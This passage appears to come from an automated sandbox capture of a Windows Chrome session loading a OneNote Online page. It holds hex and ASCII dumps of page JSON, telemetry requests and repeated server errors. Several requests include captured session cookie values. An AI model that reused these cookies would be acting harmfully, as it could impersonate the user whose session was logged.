aseId":"00000000-0000-0000-0000-000000000000\|0","ObjectGroups":[{"Id":"65d45b0b-be21-4c1d-8391-fd7569c728f3\|1","Objects":[{"ClassId":393223,"ObjectId":"e9a01b7a-c9b8-4443-8911-6ef1b4b41cba\|1","Properties":[469769264,"ffb3333a-c411-431e-b788-484463f06480",
2024-10-25 08:18:53 UTC	3929	IN	Data Raw: 34 39 62 2d 33 30 37 65 2d 34 30 32 64 2d 38 38 35 30 2d 66 63 65 33 36 32 38 32 36 38 66 33 7d 7b 31 39 7d 22 2c 31 33 34 32 32 35 30 37 36 2c 22 74 72 75 65 22 2c 36 30 33 39 38 37 34 37 35 2c 22 7b 37 35 39 33 31 34 39 62 2d 33 30 37 65 2d 34 30 32 64 2d 38 38 35 30 2d 66 63 65 33 36 32 38 32 36 38 66 33 7d 7b 32 35 7d 22 2c 33 33 35 35 35 31 38 36 36 2c 22 31 37 32 39 38 32 39 34 36 39 30 30 30 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 31 31 37 39 37 32 35 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 37 35 39 33 31 34 39 62 2d 33 30 37 65 2d 34 30 32 64 2d 38 38 35 30 2d 66 63 65 33 36 32 38 32 36 38 66 33 7c 31 39 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 34 36 39 37 37 35 34 35 30 2c 22 50 61 67 65 54 69 74 6c 65 22 2c 32 30 31 33 34 30 31 32 32 Data Ascii: 49b-307e-402d-8850-fce3628268f3}{19}",134225076,"true",603987475,"{7593149b-307e-402d-8850-fce3628268f3}{25}",335551866,"1729829469000"]},{"ClassId":1179725,"ObjectId":"7593149b-307e-402d-8850-fce3628268f3\|19","Properties":[469775450,"PageTitle",201340122
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 7b 22 43 6c 61 73 73 49 64 22 3a 31 31 37 39 37 32 35 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 37 35 39 33 31 34 39 62 2d 33 30 37 65 2d 34 30 32 64 2d 38 38 35 30 2d 66 63 65 33 36 32 38 32 36 38 66 33 7c 31 38 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 34 36 39 37 37 35 34 35 30 2c 22 68 36 22 2c 32 30 31 33 34 30 31 32 32 2c 22 32 22 2c 32 36 38 34 34 32 36 33 35 2c 22 32 32 22 2c 33 33 35 35 35 31 35 30 30 2c 22 31 31 38 39 32 30 31 34 22 2c 31 33 34 32 32 34 39 30 31 2c 22 74 72 75 65 22 2c 34 36 39 37 37 35 34 39 38 2c 22 70 22 2c 33 33 35 35 35 37 36 37 39 2c 22 30 22 2c 33 33 35 35 35 37 36 37 38 2c 22 30 22 2c 34 36 39 37 36 39 32 32 36 2c 22 43 61 6c 69 62 72 69 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 31 31 37 39 37 32 35 2c 22 4f 62 6a Data Ascii: {"ClassId":1179725,"ObjectId":"7593149b-307e-402d-8850-fce3628268f3\|18","Properties":[469775450,"h6",201340122,"2",268442635,"22",335551500,"11892014",134224901,"true",469775498,"p",335557679,"0",335557678,"0",469769226,"Calibri"]},{"ClassId":1179725,"Obj
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7c 32 38 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 32 30 31 33 33 33 37 36 33 2c 22 31 22 2c 33 33 35 35 35 31 37 35 33 2c 22 31 37 32 39 38 32 39 35 31 37 30 30 30 22 2c 33 33 35 35 35 31 38 36 36 2c 22 31 37 32 39 38 32 39 35 31 37 30 30 30 22 2c 35 33 36 38 37 38 34 35 36 2c 22 7b 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7d 7b 31 31 7d 22 2c 35 33 36 38 37 38 34 35 37 2c 22 7b 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7d 7b 31 31 7d 22 2c 36 30 33 39 38 36 39 37 35 2c 22 7b 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 Data Ascii: -46fc-a327-d558e97d849b\|28","Properties":[201333763,"1",335551753,"1729829517000",335551866,"1729829517000",536878456,"{b7581162-544f-46fc-a327-d558e97d849b}{11}",536878457,"{b7581162-544f-46fc-a327-d558e97d849b}{11}",603986975,"{b7581162-544f-46fc-a327-d
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 2d 34 35 32 63 2d 39 38 63 61 2d 64 62 38 61 64 35 39 33 30 32 36 62 7d 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 33 33 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7c 33 35 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 31 33 34 32 32 35 30 38 35 2c 22 74 72 75 65 22 2c 31 33 34 32 33 33 36 32 32 2c 22 66 61 6c 73 65 22 2c 33 33 35 35 35 31 35 31 35 2c 22 33 2e 32 33 35 33 36 30 36 32 22 2c 33 33 35 35 35 31 35 31 36 2c 22 33 2e 31 39 37 30 37 32 22 2c 33 33 35 35 35 31 35 34 37 2c 22 30 22 2c 33 33 35 35 35 31 38 36 36 2c 22 31 37 32 39 38 32 39 35 36 33 30 30 30 22 2c 33 33 35 35 35 37 38 33 35 2c 22 30 22 2c 33 33 35 35 35 37 38 33 37 Data Ascii: -452c-98ca-db8ad593026b}"]},{"ClassId":393233,"ObjectId":"b7581162-544f-46fc-a327-d558e97d849b\|35","Properties":[134225085,"true",134233622,"false",335551515,"3.23536062",335551516,"3.197072",335551547,"0",335551866,"1729829563000",335557835,"0",335557837
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 42 61 73 65 49 64 22 3a 22 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7c 31 36 38 22 2c 22 4f 62 6a 65 63 74 47 72 6f 75 70 73 22 3a 5b 7b 22 49 64 22 3a 22 39 34 62 36 32 39 34 36 2d 63 35 36 30 2d 34 36 64 63 2d 61 34 35 36 2d 63 36 62 66 34 63 30 36 61 30 38 31 7c 31 22 2c 22 4f 62 6a 65 63 74 73 22 3a 5b 7b 22 43 6c 61 73 73 49 64 22 3a 31 33 31 31 34 30 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 37 35 39 33 31 34 39 62 2d 33 30 37 65 2d 34 30 32 64 2d 38 38 35 30 2d 66 63 65 33 36 32 38 32 36 38 66 33 7c 33 38 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 34 30 32 36 36 30 37 32 37 2c 22 31 37 32 39 38 32 39 36 38 35 30 30 30 22 2c 35 33 36 38 37 38 34 35 37 2c 22 7b 62 37 35 38 31 31 36 Data Ascii: BaseId":"b7581162-544f-46fc-a327-d558e97d849b\|168","ObjectGroups":[{"Id":"94b62946-c560-46dc-a456-c6bf4c06a081\|1","Objects":[{"ClassId":131140,"ObjectId":"7593149b-307e-402d-8850-fce3628268f3\|38","Properties":[402660727,"1729829685000",536878457,"{b758116
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 36 32 38 32 36 38 66 33 7d 7b 32 33 7d 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 32 38 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7c 31 39 34 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 32 30 31 33 33 33 37 36 33 2c 22 31 22 2c 32 30 31 33 33 33 37 37 39 2c 22 30 22 2c 33 33 35 35 35 31 35 30 38 2c 22 36 2e 35 34 31 36 36 36 35 31 22 2c 33 33 35 35 35 31 35 30 39 2c 22 31 34 2e 30 32 30 38 33 33 22 2c 33 33 35 35 35 31 35 31 35 2c 22 31 33 22 2c 33 33 35 35 35 31 36 32 30 2c 22 39 22 2c 33 33 35 35 35 31 38 36 36 2c 22 31 37 32 39 38 32 39 38 37 35 30 30 30 22 2c 34 36 39 37 36 39 32 33 34 2c 22 30 2e 35 2c 30 2c 30 2e 37 35 2c 30 2e Data Ascii: 628268f3}{23}"]},{"ClassId":393228,"ObjectId":"b7581162-544f-46fc-a327-d558e97d849b\|194","Properties":[201333763,"1",201333779,"0",335551508,"6.54166651",335551509,"14.020833",335551515,"13",335551620,"9",335551866,"1729829875000",469769234,"0.5,0,0.75,0.
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 32 39 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 39 31 35 34 35 65 35 38 2d 62 66 30 64 2d 34 64 31 36 2d 38 39 34 63 2d 63 32 62 34 62 66 32 37 39 34 38 66 7c 32 30 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 32 30 31 33 33 33 37 36 33 2c 22 31 22 2c 33 33 35 35 35 31 37 35 33 2c 22 31 37 32 39 38 33 31 32 32 36 30 30 30 22 2c 33 33 35 35 35 31 38 36 36 2c 22 31 37 32 39 38 33 31 32 32 36 30 30 30 22 2c 35 33 36 38 37 38 34 35 36 2c 22 7b 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 34 39 62 7d 7b 31 31 7d 22 2c 35 33 36 38 37 38 34 35 37 2c 22 7b 62 37 35 38 31 31 36 32 2d 35 34 34 66 2d 34 36 66 63 2d 61 33 32 37 2d 64 35 35 38 65 39 37 64 38 Data Ascii: "]},{"ClassId":393229,"ObjectId":"91545e58-bf0d-4d16-894c-c2b4bf27948f\|20","Properties":[201333763,"1",335551753,"1729831226000",335551866,"1729831226000",536878456,"{b7581162-544f-46fc-a327-d558e97d849b}{11}",536878457,"{b7581162-544f-46fc-a327-d558e97d8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49794	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:53 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:53 UTC	4577	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4e283bd4-7467-4ad5-8073-ea88c3ccbf71 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C7D X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C7D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: E86299A6391643038DCD68C8AE645FEF Ref B: DFW311000108019 Ref C: 2024-10-25T08:18:53Z Date: Fri, 25 Oct 2024 08:18:53 GMT Connection: close
2024-10-25 08:18:53 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49798	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:54 UTC	1624	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":2,"MsSinceStart":4434,"Value":"Get cells response received:200","Type":"BootLogs"},{"Index":3,"MsSinceStart":4434,"Value":"https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:54 UTC	1580	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e31a548c-00e2-4076-a88d-3b8af4219a60 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C7D X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C7D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EB8CDFDC1B50488BA8C98F9606C67608 Ref B: DFW311000110021 Ref C: 2024-10-25T08:18:54Z Date: Fri, 25 Oct 2024 08:18:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49802	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:55 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:55 UTC	4504	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b6af2805-9b17-42ef-9115-ea28dca914ae X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C7A X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C7A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 9609951716AE47F0A3246A17F0F90F36 Ref B: DFW311000104033 Ref C: 2024-10-25T08:18:55Z Date: Fri, 25 Oct 2024 08:18:54 GMT Connection: close
2024-10-25 08:18:55 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49803	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:55 UTC	519	OUT	GET /o/OneNote.ashx HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:56 UTC	1066	IN	HTTP/1.1 503 Service Unavailable Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 42a1fd65-8e78-4f43-ad5e-9dbd38de295d X-UserSessionId: 42a1fd65-8e78-4f43-ad5e-9dbd38de295d Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C7A X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C7A X-WacFrontEnd: SN3PEPF00017C7A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 9FEE3EFAA8954EBA9B4CD1288B815D2D Ref B: DFW311000110009 Ref C: 2024-10-25T08:18:56Z Date: Fri, 25 Oct 2024 08:18:55 GMT Connection: close
2024-10-25 08:18:56 UTC	33	IN	Data Raw: 31 62 0d 0a 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a Data Ascii: 1bThe service is unavailable.
2024-10-25 08:18:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49805	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:56 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:56 UTC	4541	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: fabb82f1-0b36-4a5c-aea0-9134236843b0 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C95 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 